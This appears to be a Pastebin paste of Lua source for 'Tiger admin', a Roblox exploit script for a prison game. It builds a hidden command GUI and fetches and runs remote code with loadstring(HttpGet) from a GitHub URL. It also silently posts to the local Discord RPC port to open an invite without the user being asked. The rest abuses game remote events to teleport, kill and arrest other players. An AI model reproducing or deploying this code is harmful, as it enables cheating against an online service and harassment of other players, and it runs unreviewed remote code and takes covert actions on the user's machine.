Advertisement
wwawaww

Untitled

Sep 21st, 2024
12
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 146.47 KB | None | 0 0
  1.  
  2.  
  3.  
  4. game:GetService("Players").LocalPlayer.Character:WaitForChild("HumanoidRootPart")
  5. if game:FindFirstChild("Tiger_revamp_loaded") then ((getgenv and getgenv()) or _G).NotifTiger("Tiger admin is already executed!",false) return warn("Already loaded") end
  6. local Player, plr,Folder = game:GetService("Players").LocalPlayer, game:GetService("Players").LocalPlayer,Instance.new("Folder",game)
  7. local OldHook, hookmetamethod, getnamecallmethod = nil, hookmetamethod, getnamecallmethod
  8. local HasGamepass,UserInputService = game:GetService("MarketplaceService"):UserOwnsGamePassAsync(Player.UserId, 96651),game:GetService("UserInputService")
  9. local GlobalVar = ((getgenv and getgenv()) or _G)
  10. local Unloaded = false
  11. local CriminalCFRAME = workspace["Criminals Spawn"].SpawnLocation.CFrame
  12. local API_Prem = loadstring(game:HttpGet("https://raw.githubusercontent.com/dalloc2/Roblox/main/Listing.lua"))()
  13. local PremiumActivated = API_Prem.CheckPremium()
  14.  
  15. local Temp = {}
  16. local API = {}
  17. local Reload_Guns = {}
  18. local Prefix = "!"
  19.  
  20. --------
  21. Folder.Name = "Tiger_revamp_loaded"
  22. ScreenGui = Instance.new("ScreenGui")
  23. CmdBarFrame = Instance.new("Frame")
  24. UICorner = Instance.new("UICorner")
  25. Out = Instance.new("ImageLabel")
  26. UICorner_2 = Instance.new("UICorner")
  27. CommandBar = Instance.new("TextBox")
  28. UIStroke = Instance.new("UIStroke")
  29. Commands = Instance.new("ImageLabel")
  30. UICorner_3 = Instance.new("UICorner")
  31. UIStroke_2 = Instance.new("UIStroke")
  32. CommandsList = Instance.new("ScrollingFrame")
  33. UIListLayout = Instance.new("UIListLayout")
  34. TEMP_CMD = Instance.new("TextLabel")
  35. SearchBar = Instance.new("TextBox")
  36. ScreenGui.Parent = (game:GetService("CoreGui") or gethui())
  37. ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
  38. ScreenGui.Name = math.random()
  39.  
  40. CmdBarFrame.Name = "CmdBarFrame"
  41. CmdBarFrame.Parent = ScreenGui
  42. CmdBarFrame.AnchorPoint = Vector2.new(0.5, 0.5)
  43. CmdBarFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  44. CmdBarFrame.BackgroundTransparency = 1.000
  45. CmdBarFrame.BorderSizePixel = 0
  46. CmdBarFrame.Position = UDim2.new(0.5, 0, 0.899999998, 0)
  47. CmdBarFrame.Position = CmdBarFrame.Position+UDim2.new(0,0,1.1,0)
  48. CmdBarFrame.Size = UDim2.new(0, 577, 0, 65)
  49.  
  50. UICorner.CornerRadius = UDim.new(0, 3)
  51. UICorner.Parent = CmdBarFrame
  52. Temp.Esps = {}
  53. do
  54. CmdsIcon = Instance.new("ImageLabel")
  55. UICornera = Instance.new("UICorner")
  56. UIStroke12 = Instance.new("UIStroke")
  57. CmdButton = Instance.new("ImageButton")
  58.  
  59. CmdsIcon.Name = "CmdsIcon"
  60. CmdsIcon.Parent = CmdBarFrame
  61. CmdsIcon.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  62. CmdsIcon.Position = UDim2.new(-0.132423401, 0, 0.0226149559, 0)
  63. CmdsIcon.Size = UDim2.new(0.121672593, 0, 0.945454538, 0)
  64. CmdsIcon.Image = "rbxassetid://12661800163"
  65. CmdsIcon.ImageTransparency = 0.030
  66.  
  67. UICornera.CornerRadius = UDim.new(0, 6)
  68. UICornera.Parent = CmdsIcon
  69.  
  70. UIStroke12.Parent = CmdsIcon
  71.  
  72. CmdButton.Name = "CmdButton"
  73. CmdButton.Parent = CmdsIcon
  74. CmdButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  75. CmdButton.BackgroundTransparency = 1.000
  76. CmdButton.Position = UDim2.new(0.298999995, 0, 0.27700001, 0)
  77. CmdButton.Size = UDim2.new(0, 27, 0, 27)
  78. CmdButton.Image = "rbxassetid://11570802781"
  79. CmdButton.ImageTransparency = 0.430
  80. CmdButton.MouseButton1Up:Connect(function()
  81. if not Temp.CmdsC then
  82. Temp.CmdsC = true
  83. if Commands.Visible == false then
  84. Commands:TweenPosition(SavedCmdsPosition,"Out","Quart",1)
  85. Commands.Visible = true
  86. else
  87. Commands:TweenPosition(SavedCmdsPosition+UDim2.new(0,0,1,0),"Out","Quart",1)
  88. wait(.5)
  89. Commands.Visible = false
  90. end
  91. wait(.7)
  92. Temp.CmdsC = false
  93. end
  94. end)
  95. CmdButton.MouseEnter:Connect(function()
  96. CmdButton.ImageColor3 = Color3.new(0.588235, 0.588235, 0.588235)
  97. end)
  98. CmdButton.MouseLeave:Connect(function()
  99. CmdButton.ImageColor3 = Color3.new(1, 1, 1)
  100. end)
  101. end
  102. do
  103. Toggles = Instance.new("ImageLabel")
  104. local Stokeee = Instance.new("UIStroke")
  105. local Corrrer = Instance.new("UICorner")
  106. local ToggleScroll = Instance.new("ScrollingFrame")
  107. local kewkfwe = Instance.new("UIListLayout")
  108. local tempb = Instance.new("TextButton")
  109. local UIStroke = Instance.new("UIStroke")
  110. local UICorner = Instance.new("UICorner")
  111.  
  112. Toggles.Name = "Toggles"
  113. Toggles.Parent = ScreenGui
  114. Toggles.AnchorPoint = Vector2.new(0.5, 0.5)
  115. Toggles.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  116. Toggles.Position = UDim2.new(0.499593854, 0, 0.499376595, 0)+UDim2.new(0,0,1,0)
  117. Toggles.Size = UDim2.new(0, 539, 0, 409)
  118. Toggles.Visible = false
  119. Toggles.Image = "rbxassetid://12011977394"
  120. Toggles.ImageTransparency = 0.260
  121.  
  122. Stokeee.Parent = Toggles
  123. Stokeee.Name = "Stokeee"
  124.  
  125. Corrrer.Name = "Corrrer"
  126. Corrrer.Parent = Toggles
  127.  
  128. ToggleScroll.Name = "ToggleScroll"
  129. ToggleScroll.Parent = Toggles
  130. ToggleScroll.Active = true
  131. ToggleScroll.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  132. ToggleScroll.BackgroundTransparency = 1.000
  133. ToggleScroll.Size = UDim2.new(0, 539, 0, 408)
  134. ToggleScroll.ScrollBarThickness = 4
  135.  
  136. kewkfwe.Name = "kewkfwe"
  137. kewkfwe.Parent = ToggleScroll
  138. kewkfwe.SortOrder = Enum.SortOrder.LayoutOrder
  139. kewkfwe.Padding = UDim.new(0, 5)
  140.  
  141. tempb.Name = "tempb"
  142. tempb.Parent = ScreenGui
  143. tempb.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  144. tempb.BackgroundTransparency = 0.550
  145. tempb.Position = UDim2.new(0, 0, -7.47979882e-08, 0)
  146. tempb.Size = UDim2.new(0, 539, 0, 44)
  147. tempb.Visible = false
  148. tempb.Font = Enum.Font.SourceSans
  149. tempb.Text = "Autorespawn [OFF]"
  150. tempb.TextColor3 = Color3.fromRGB(255, 255, 255)
  151. tempb.TextSize = 14.000
  152.  
  153. UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
  154. UIStroke.Parent = tempb
  155.  
  156. UICorner.CornerRadius = UDim.new(0, 3)
  157. UICorner.Parent = tempb
  158.  
  159. end
  160.  
  161. Out.Name = "Out"
  162. Out.Parent = CmdBarFrame
  163. Out.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  164. Out.Position = UDim2.new(0.0200897697, 0, 0.022615375, 0)
  165. Out.Size = UDim2.new(0.974358976, 0, 0.945454538, 0)
  166. Out.Image = "rbxassetid://11789397066"
  167. Out.ImageTransparency = 0.240
  168.  
  169. UICorner_2.CornerRadius = UDim.new(0, 6)
  170. UICorner_2.Parent = Out
  171.  
  172. CommandBar.Name = "CommandBar"
  173. CommandBar.Parent = Out
  174. CommandBar.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  175. CommandBar.BackgroundTransparency = 1.000
  176. CommandBar.BorderSizePixel = 0
  177. CommandBar.Position = UDim2.new(0.0359953903, 0, 0.128254473, 0)
  178. CommandBar.Size = UDim2.new(0, 519, 0, 46)
  179. CommandBar.Font = Enum.Font.SourceSans
  180. CommandBar.PlaceholderColor3 = Color3.fromRGB(178, 178, 178)
  181. CommandBar.PlaceholderText = "Command bar"
  182. CommandBar.Text = ""
  183. CommandBar.TextColor3 = Color3.fromRGB(255, 255, 255)
  184. CommandBar.TextSize = 24.000
  185. CommandBar.TextTransparency = 0.140
  186. CommandBar.TextWrapped = true
  187.  
  188. UIStroke.Parent = Out
  189.  
  190. Commands.Name = "Commands"
  191. Commands.Parent = ScreenGui
  192. Commands.AnchorPoint = Vector2.new(0.5, 0.5)
  193. Commands.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  194. Commands.Position = UDim2.new(0.5, 0, 0.5, 0)
  195. Commands.Size = UDim2.new(0, 455, 0, 297)
  196. Commands.Image = "rbxassetid://12011977394"
  197. Commands.ImageTransparency = 0.200
  198. Commands.Visible = false
  199.  
  200. UICorner_3.CornerRadius = UDim.new(0, 6)
  201. UICorner_3.Parent = Commands
  202.  
  203. UIStroke_2.Parent = Commands
  204.  
  205. CommandsList.Parent = Commands
  206. CommandsList.Active = true
  207. CommandsList.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  208. CommandsList.BackgroundTransparency = 1.000
  209. CommandsList.Position = UDim2.new(0, 0, 0.077441074, 0)
  210. CommandsList.Size = UDim2.new(0, 455, 0, 274)
  211. CommandsList.ScrollBarThickness = 5
  212. CommandsList.AutomaticCanvasSize="Y"
  213. UIListLayout.Parent = CommandsList
  214. UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
  215. UIListLayout.Padding = UDim.new(0, 8)
  216.  
  217. TEMP_CMD.Parent = Folder
  218. TEMP_CMD.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
  219. TEMP_CMD.BackgroundTransparency = 0.750
  220. TEMP_CMD.Size = UDim2.new(0, 455, 0, 14)
  221. TEMP_CMD.Font = Enum.Font.SourceSans
  222. TEMP_CMD.Text = "sex"--//yes
  223. TEMP_CMD.TextColor3 = Color3.fromRGB(255, 255, 255)
  224. TEMP_CMD.TextSize = 14.000
  225. SavedCmdsPosition = Commands.Position
  226. SearchBar.Parent = Commands
  227. SearchBar.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  228. SearchBar.BackgroundTransparency = 1.000
  229. SearchBar.Size = UDim2.new(0, 455, 0, 17)
  230. SearchBar.Font = Enum.Font.SourceSans
  231. SearchBar.PlaceholderColor3 = Color3.fromRGB(178, 178, 178)
  232. SearchBar.PlaceholderText = "Search here"
  233. SearchBar.Text = ""
  234. SearchBar.TextColor3 = Color3.fromRGB(234, 234, 234)
  235. SearchBar.TextSize = 14.000
  236.  
  237. Folder.Parent = game
  238.  
  239. do
  240. --Load guis
  241. game:GetService("ContentProvider"):PreloadAsync({
  242. Commands,
  243. Out,
  244. })
  245. end
  246.  
  247. for i,v in pairs(ScreenGui:GetDescendants()) do v.Name = game:GetService("HttpService"):GenerateGUID(true) end
  248. local AmmountCurrent = 0
  249. local commandsLol = {}
  250. function API:CreateCmd(Header, Description, Callback,IsHide,Extra,IsPre,plsdonotlower)
  251. local CloneTXT = TEMP_CMD:Clone()
  252. CloneTXT.Text = Prefix..Header.." "..(Extra or "").." | "..Description
  253. if IsHide then
  254. CloneTXT.Parent =nil
  255. else
  256. CloneTXT.Parent = CommandsList
  257. end
  258. if IsPre then
  259. CloneTXT.TextColor3 = Color3.new(1, 0.796078, 0.0666667)
  260. end
  261. AmmountCurrent=AmmountCurrent+1
  262. commandsLol[Header] = Callback
  263. local function FactCheck(TheText)
  264. if Unloaded then return end
  265. local Text = nil
  266. if not plsdonotlower then
  267. Text=TheText:lower()
  268. else
  269. Text = TheText
  270. end
  271. local Split = Text:split(" ")
  272. local First = Split[1]
  273. local Second = Split[2]
  274.  
  275. if First:lower() == Header:lower() or First:lower() == Prefix..Header:lower() then
  276. local a,b = pcall(function()
  277. Callback(Split)
  278. end)
  279. if not a and b then
  280. warn("--> TIGER ADMIN DETECTED AN ERROR")
  281. warn("COMMAND: "..Prefix..Header)
  282. warn("ERROR: "..tostring(b))
  283. end
  284. end
  285. end
  286. Player.Chatted:Connect(function(c)
  287. if c and not Unloaded then
  288. local Subbed = string.sub(c,1,1)
  289. if Subbed == Prefix then
  290. FactCheck(c)
  291. end
  292. end
  293. end)
  294. CommandBar.FocusLost:Connect(function(EnterKey)
  295. if EnterKey and not Unloaded then
  296. FactCheck(CommandBar.Text)
  297. task.wait(.04)
  298. CommandBar.Text = ""
  299. end
  300. end)
  301. end
  302.  
  303. function API:Tween(Obj, Prop, New, Time)
  304. if not Time then
  305. Time = .5
  306. end
  307. local TweenService = game:GetService("TweenService")
  308. local info = TweenInfo.new(
  309. Time,
  310. Enum.EasingStyle.Quart,
  311. Enum.EasingDirection.Out,
  312. 0,
  313. false,
  314. 0
  315. )
  316. local propertyTable = {
  317. [Prop] = New,
  318. }
  319.  
  320. TweenService:Create(Obj, info, propertyTable):Play()
  321. end
  322. function API:Notif(Text,Dur)
  323. task.spawn(function()
  324. if not Dur then
  325. Dur = 1.5
  326. end
  327. local Notif = Instance.new("ScreenGui")
  328. local Frame_1 = Instance.new("Frame")
  329. local TextLabel = Instance.new("TextLabel")
  330. Notif.Parent = (game:GetService("CoreGui") or gethui())
  331. Notif.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
  332. Frame_1.Parent = Notif
  333. Frame_1.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  334. Frame_1.BackgroundTransparency=1
  335. Frame_1.BorderSizePixel = 0
  336. Frame_1.Position = UDim2.new(0, 0, 0.0500000007, 0)
  337. Frame_1.Size = UDim2.new(1, 0, 0.100000001, 0)
  338. TextLabel.Parent = Frame_1
  339. TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  340. TextLabel.BackgroundTransparency = 1.000
  341. TextLabel.TextTransparency =1
  342. TextLabel.Size = UDim2.new(1, 0, 1, 0)
  343. TextLabel.Font = Enum.Font.Highway
  344. TextLabel.Text = Text or "Text not found"
  345. TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
  346. TextLabel.TextSize = 21.000
  347. API:Tween(Frame_1,"BackgroundTransparency",0.350,.5)
  348. API:Tween(TextLabel,"TextTransparency",0,.5)
  349. wait(Dur+.7)
  350. API:Tween(Frame_1,"BackgroundTransparency",1,.5)
  351. API:Tween(TextLabel,"TextTransparency",1,.5)
  352. wait(.7)
  353. Notif:Destroy()
  354. end)
  355. return
  356. end
  357. GlobalVar.NotifTiger = function(t,v)
  358. API:Notif(t,v)
  359. end
  360. local States = {}
  361. local Settings = {
  362. Prefix = "!",
  363. ValidCommands = {},
  364. }
  365. local OrginMenuPos = Player.PlayerGui.Home.hud.MenuButton.Position
  366. local OrginGunPos = Player.PlayerGui.Home.hud.GunFrame.Position
  367. do
  368. States.loopkillinmates = false
  369. States.loopkillcriminals = false
  370. States.DraggableGuis = false
  371. States.spawnguns = false
  372. States.loopkillguards = false
  373. States.Antishield = false
  374. States.DoorsDestroy = false
  375. States.antipunch = false
  376. States.AutoRespawn = true
  377. States.AutoItems = false
  378. States.ClickKill = false
  379. States.ClickArrest = false
  380. States.AntiTase = false
  381. States.AntiArrest = false
  382. States.OnePunch = false
  383. States.killaura = false
  384. States.anticrash = false
  385. States.AntiTouch = false
  386. States.ShootBack = false
  387. States.AntiFling = false
  388. States.AutoInfAmmo = false
  389. States.joinlogs = false
  390. States.noclip = false
  391. States.Godmode = false
  392. States.loopopendoors = false
  393. States.SilentAim = false
  394. States.ArrestAura = false
  395. States.OneShot = false
  396. States.ff = false
  397. States.esp = false
  398. States.earrape = false
  399. --
  400. Temp.IsBringing = false
  401. Temp.Loopkilling = {}
  402. Temp.ArrestOldP = false
  403. Temp.KillAuras = {}
  404. API.Whitelisted = {}
  405. Temp.Admins = {}
  406. Temp.LoopmKilling = {}
  407. Temp.Viruses = {}
  408. Temp.SavedAdmins = {}
  409. Running = false
  410. end
  411.  
  412. if writefile and makefolder and readfile and isfile then
  413. if isfile("Tiger Admin") == false or isfile("Tiger_Admin/Invite.json") == false then
  414. makefolder("Tiger_Admin")
  415. if isfile("Tiger_Admin/Invite.json") == false then
  416. writefile("Tiger_Admin/Invite.json",game:GetService("HttpService"):JSONEncode({
  417. Invite_To_Server = true
  418. }))
  419. end
  420. if isfile("Tiger_Admin/SavedAdmins.json") == false then
  421. writefile("Tiger_Admin/SavedAdmins.json",game:GetService("HttpService"):JSONEncode({}))
  422. else
  423. local Content = game:GetService("HttpService"):JSONDecode(readfile("Tiger_Admin/SavedAdmins.json"))
  424. for i,v in pairs(Content) do
  425. if v then
  426. table.insert(Temp.Admins, v)
  427. end
  428. end
  429. end
  430. end
  431. end
  432.  
  433. task.spawn(function()
  434. if writefile and makefolder and readfile and isfile then
  435. if game:GetService("HttpService"):JSONDecode(readfile("Tiger_Admin/Invite.json")).Invite_To_Server then
  436. local Request_ = (syn and syn.request) or http_request or request
  437. Request_({
  438. Url = 'http://127.0.0.1:6463/rpc?v=1',
  439. Method = 'POST',
  440. Headers = {
  441. ['Content-Type'] = 'application/json',
  442. Origin = 'https://discord.com'
  443. },
  444. Body = game:GetService("HttpService"):JSONEncode({
  445. cmd = 'INVITE_BROWSER',
  446. nonce = game:GetService("HttpService"):GenerateGUID(false),
  447. args = {code = 'zj5xRp3ZKn'}
  448. })
  449. })
  450. end
  451. end
  452. end)
  453.  
  454. function API:CreateBulletTable(Amount, Hit, IsTrue)
  455. local Args = {}
  456. for i = 1, tonumber(Amount) do
  457. if IsTrue then
  458. Args[#Args + 1] = {
  459. ["RayObject"] = Ray.new(Vector3.new(990.272583, 101.489975, 2362.74878), Vector3.new(-799.978333, 0.23157759, -5.88794518)),
  460. ["Distance"] = 198.9905242919922,
  461. ["Cframe"] = CFrame.new(894.362549, 101.288307, 2362.53491, -0.0123058055, 0.00259522465, -0.999920964, 3.63797837e-12, 0.999996722, 0.00259542116, 0.999924302, 3.19387436e-05, -0.0123057645),
  462. }
  463. else
  464. Args[#Args + 1] = {
  465. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  466. ["Distance"] = 0,
  467. ["Cframe"] = CFrame.new(),
  468. ["Hit"] = Hit,
  469. }
  470. end
  471. end
  472. return Args
  473. end
  474. function DragifyGui(Frame,Is)
  475. coroutine.wrap(function()
  476. local dragToggle = nil
  477. local dragSpeed = 0.50
  478. local dragInput = nil
  479. local dragStart = nil
  480. local dragPos = nil
  481. local startPos = nil
  482. local function updateInput(input)
  483. if not Is then
  484. if not States.DraggableGuis then
  485. return
  486. end
  487. end
  488. local Delta = input.Position - dragStart
  489. local Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + Delta.X, startPos.Y.Scale, startPos.Y.Offset + Delta.Y)
  490. game:GetService("TweenService"):Create(Frame, TweenInfo.new(0.30), {Position = Position}):Play()
  491. end
  492. Frame.InputBegan:Connect(function(input)
  493. if not Is then
  494. if States.DraggableGuis then
  495. if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) and game:GetService("UserInputService"):GetFocusedTextBox() == nil then
  496. dragToggle = true
  497. dragStart = input.Position
  498. startPos = Frame.Position
  499. input.Changed:Connect(function()
  500. if input.UserInputState == Enum.UserInputState.End then
  501. dragToggle = false
  502. end
  503. end)
  504. end
  505. end
  506. end
  507. end)
  508. Frame.InputChanged:Connect(function(input)
  509. if States.DraggableGuis then
  510. if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
  511. dragInput = input
  512. end
  513. end
  514. end)
  515. game:GetService("UserInputService").InputChanged:Connect(function(input)
  516. if States.DraggableGuis then
  517. if input == dragInput and dragToggle then
  518. updateInput(input)
  519. end
  520. end
  521. end)
  522. end)()
  523. end
  524. DragifyGui(Out)
  525. DragifyGui(Commands)
  526. DragifyGui(CmdsIcon)
  527. local IsBringing = false
  528. function API:swait()
  529. game:GetService("RunService").Stepped:Wait()
  530. end
  531. function API:bring(Target,TeleportTo,MoreTP,DontBreakCar)
  532. local BringingFromAdmin = nil
  533. if table.find(Temp.Admins,Target.Name) then
  534. BringingFromAdmin = true
  535. end
  536. if not IsBringing and Target and Target.Character:FindFirstChildOfClass("Humanoid") and Target.Character:FindFirstChildOfClass("Humanoid").Health>0 and Target.Character:FindFirstChildOfClass("Humanoid").Sit == false then
  537. if not TeleportTo then
  538. TeleportTo = API:GetPosition()
  539. end
  540. local Orgin = API:GetPosition()
  541. local CarPad = workspace.Prison_ITEMS.buttons["Car Spawner"]
  542. local car = nil
  543. local Seat = nil
  544. local Failed = false
  545. local CheckForBreak = function()
  546. if not Target or not Target.Character:FindFirstChildOfClass("Humanoid") or Target.Character:FindFirstChildOfClass("Humanoid").Health<1 or Player.Character:FindFirstChildOfClass("Humanoid").Health<1 then
  547. Failed = true
  548. return true
  549. else
  550. return nil
  551. end
  552. end
  553.  
  554. for i,v in pairs(game:GetService("Workspace").CarContainer:GetChildren()) do
  555. if v then
  556. if v:WaitForChild("Body"):WaitForChild("VehicleSeat").Occupant == nil then
  557. car = v
  558. end
  559. end
  560. end
  561. if not car then
  562. coroutine.wrap(function()
  563. if not car then
  564. car = game:GetService("Workspace").CarContainer.ChildAdded:Wait()
  565. end
  566. end)()
  567. repeat wait()
  568. game:GetService("Players").LocalPlayer.Character:SetPrimaryPartCFrame(CFrame.new(-524, 55, 1777))
  569. task.spawn(function()
  570. workspace.Remote.ItemHandler:InvokeServer(game:GetService("Workspace").Prison_ITEMS.buttons:GetChildren()[7]["Car Spawner"])
  571. end)
  572. if CheckForBreak() then
  573. break
  574. end
  575. until car
  576. end
  577. car:WaitForChild("Body"):WaitForChild("VehicleSeat")
  578. car.PrimaryPart = car.Body.VehicleSeat
  579. Seat = car.Body.VehicleSeat
  580. repeat wait()
  581. Seat:Sit(Player.Character:FindFirstChildOfClass("Humanoid"))
  582. until Player.Character:FindFirstChildOfClass("Humanoid").Sit == true
  583. wait() --// so it doesnt break
  584. repeat API:swait()
  585. if CheckForBreak() or not Player.Character:FindFirstChildOfClass("Humanoid") or Player.Character:FindFirstChildOfClass("Humanoid").Sit == false then
  586. break
  587. end
  588. car.PrimaryPart = car.Body.VehicleSeat
  589. if Target.Character:FindFirstChildOfClass("Humanoid").MoveDirection.Magnitude >0 then
  590. car:SetPrimaryPartCFrame(Target.Character:GetPrimaryPartCFrame()*CFrame.new(0,-.2,-6))
  591. else
  592. car:SetPrimaryPartCFrame(Target.Character:GetPrimaryPartCFrame()*CFrame.new(0,-.2,-5))
  593. end
  594. until Target.Character:FindFirstChildOfClass("Humanoid").Sit == true
  595. if Failed then
  596. API:Notif("Failed to bring the player!")
  597. if BringingFromAdmin then
  598. local ohString1 = "/w "..Target.Name.." ".."ADMIN: Bring has failed! Try again later."
  599. local ohString2 = "All"
  600. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(ohString1, ohString2)
  601. end
  602. return
  603. end
  604. for i =1,10 do
  605. car:SetPrimaryPartCFrame(TeleportTo)
  606. API:swait()
  607. end
  608. wait(.1)
  609. task.spawn(function()
  610. if PremiumActivated and not DontBreakCar then
  611. repeat task.wait() until Target.Character:FindFirstChildOfClass("Humanoid").Sit == false
  612. repeat wait()
  613. Seat:Sit(Player.Character:FindFirstChildOfClass("Humanoid"))
  614. until Player.Character:FindFirstChildOfClass("Humanoid").Sit == true
  615. for i =1,10 do
  616. car:SetPrimaryPartCFrame(CFrame.new(0,workspace.FallenPartsDestroyHeight+10,0))
  617. API:swait()
  618. end
  619. API:UnSit()
  620. API:MoveTo(Orgin)
  621. end
  622. end)
  623. if not PremiumActivated then
  624. API:UnSit()
  625. API:MoveTo(Orgin)
  626. end
  627. else
  628. if BringingFromAdmin then
  629. local ohString1 = "/w "..Target.Name.." ".."ADMIN: Bring has failed! Try again later."
  630. local ohString2 = "All"
  631. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(ohString1, ohString2)
  632.  
  633. end
  634. API:Notif("Player has died or is sitting or an unknown error.")
  635. end
  636. end
  637.  
  638. function API:FindPlayer(String,IgnoreError)
  639. String = String:gsub("%s+", "")
  640. for _, v in pairs(game:GetService("Players"):GetPlayers()) do
  641. if v.Name:lower():match("^" .. String:lower()) or v.DisplayName:lower():match("^" .. String:lower()) then
  642. return v
  643. end
  644. end
  645. if not IgnoreError then
  646. API:Notif("Player has left or is not in your current game.",false)
  647. end
  648. return nil
  649. end
  650. function API:ConvertPosition(Position)
  651. if typeof(Position):lower() == "position" then
  652. return CFrame.new(Position)
  653. else
  654. return Position
  655. end
  656. end
  657.  
  658. function API:GetPart(Target)
  659. game:GetService("Players").LocalPlayer.Character:WaitForChild("HumanoidRootPart")
  660.  
  661. return Target.Character:FindFirstChild("HumanoidRootPart") or Target.Character:FindFirstChild("Head")
  662. end
  663. function API:GetPosition(Player)
  664. game:GetService("Players").LocalPlayer.Character:WaitForChild("HumanoidRootPart")
  665.  
  666. if Player then
  667. return API:GetPart(Player).CFrame
  668. elseif not Player then
  669. return API:GetPart(plr).CFrame
  670. end
  671. end
  672. function API:GetCameraPosition(Player)
  673. return workspace["CurrentCamera"].CFrame
  674. end
  675. function API:Loop(Times, calling)
  676. for i = 1, tonumber(Times) do
  677. calling()
  678. end
  679. end
  680. function PublicOutput(CODE)
  681. local Args ={
  682. {
  683. RayObject = Ray.new(),
  684. Distance = 0,
  685. Cframe = CFrame.new(1,1,20000),
  686. MSG = CODE,
  687. PLA = Player.UserId
  688. }
  689. }
  690. repeat task.wait() API:GetGun("M9") until Player.Backpack:FindFirstChild("M9") or Player.Character:FindFirstChild("M9")
  691. local Gun = Player.Backpack:FindFirstChild("M9") or Player.Character:FindFirstChild("M9")
  692. coroutine.wrap(function()
  693. game:GetService("ReplicatedStorage").ShootEvent:FireServer(Args, Gun)
  694. end)()
  695. coroutine.wrap(function()
  696. game:GetService("ReplicatedStorage").ReloadEvent:FireServer(Gun)
  697. end)()
  698. end
  699. function API:MoveTo(Cframe)
  700. Cframe = API:ConvertPosition(Cframe)
  701. local Amount = 5
  702. if Player.PlayerGui['Home']['hud']['Topbar']['titleBar'].Title.Text:lower() == "lights out" or Player.PlayerGui.Home.hud.Topbar.titleBar.Title.Text:lower() == "lightsout" then
  703. Amount = 11
  704. end
  705. for i = 1, Amount do
  706. API:UnSit()
  707. Player.Character:WaitForChild("HumanoidRootPart").CFrame = Cframe
  708. API:swait()
  709. end
  710. end
  711. function API:WaitForRespawn(Cframe,NoForce)
  712. game:GetService("Players").LocalPlayer.Character:WaitForChild("HumanoidRootPart")
  713.  
  714. local Cframe = API:ConvertPosition(Cframe)
  715. local CameraCframe = API:GetCameraPosition()
  716. coroutine.wrap(function()
  717. local a
  718. a = Player.CharacterAdded:Connect(function(NewCharacter)
  719. pcall(function()
  720. coroutine.wrap(function()
  721. workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):Wait()
  722. API:Loop(5, function()
  723. workspace["CurrentCamera"].CFrame = CameraCframe
  724. end)
  725. end)()
  726. NewCharacter:WaitForChild("HumanoidRootPart")
  727. API:MoveTo(Cframe)
  728. if NoForce then
  729. task.spawn(function()
  730. NewCharacter:WaitForChild("ForceField"):Destroy()
  731. end)
  732. end
  733. end)
  734. a:Disconnect()
  735. Cframe = nil
  736. end)
  737. task.spawn(function()
  738. wait(2)
  739. if a then
  740. a:Disconnect()
  741. end
  742. end)
  743. end)()
  744. end
  745. function API:ChangeTeam(TeamPath,NoForce,Pos)
  746. pcall(function()
  747. repeat task.wait() until game:GetService("Players").LocalPlayer.Character
  748. game:GetService("Players").LocalPlayer.Character:WaitForChild("HumanoidRootPart")
  749.  
  750. API:WaitForRespawn(Pos or API:GetPosition(),NoForce)
  751. end)
  752. if TeamPath == game.Teams.Criminals then
  753. task.spawn(function()
  754. workspace.Remote.TeamEvent:FireServer("Bright orange")
  755. end)
  756. repeat API:swait() until Player.Team == game.Teams.Inmates and Player.Character:FindFirstChild("HumanoidRootPart")
  757. repeat
  758. API:swait()
  759. if firetouchinterest then
  760. firetouchinterest(plr.Character:FindFirstChildOfClass("Part"), game:GetService("Workspace")["Criminals Spawn"]:GetChildren()[1], 0)
  761. firetouchinterest(plr.Character:FindFirstChildOfClass("Part"), game:GetService("Workspace")["Criminals Spawn"]:GetChildren()[1], 1)
  762. end
  763. game:GetService("Workspace")["Criminals Spawn"]:GetChildren()[1].Transparency = 1
  764. game:GetService("Workspace")["Criminals Spawn"]:GetChildren()[1].CanCollide = false
  765. game:GetService("Workspace")["Criminals Spawn"]:GetChildren()[1].CFrame = API:GetPosition()
  766. until plr.Team == game:GetService("Teams").Criminals
  767. game:GetService("Workspace")["Criminals Spawn"]:GetChildren()[1].CFrame = CFrame.new(0, 3125, 0)
  768. else
  769. if TeamPath == game.Teams.Neutral then
  770. workspace['Remote']['TeamEvent']:FireServer("Bright orange")
  771. else
  772. if not TeamPath or not TeamPath.TeamColor then
  773. workspace['Remote']['TeamEvent']:FireServer("Bright orange")
  774. else
  775. workspace['Remote']['TeamEvent']:FireServer(TeamPath.TeamColor.Name)
  776. end
  777. end
  778. end
  779. end
  780. function API:FindString(String,Table)
  781. String = String:gsub("%s+", "")
  782. for m, n in pairs(Table) do
  783. if n:lower():match("^" .. String:lower()) then
  784. return n
  785. end
  786. end
  787. return nil
  788. end
  789. function API:Refresh(NoForce,Position)
  790. API:ChangeTeam(plr.Team,NoForce,Position)
  791. end
  792. function API:UnSit()
  793. game:GetService("Players").LocalPlayer.Character:WaitForChild("Humanoid").Sit = false
  794. end
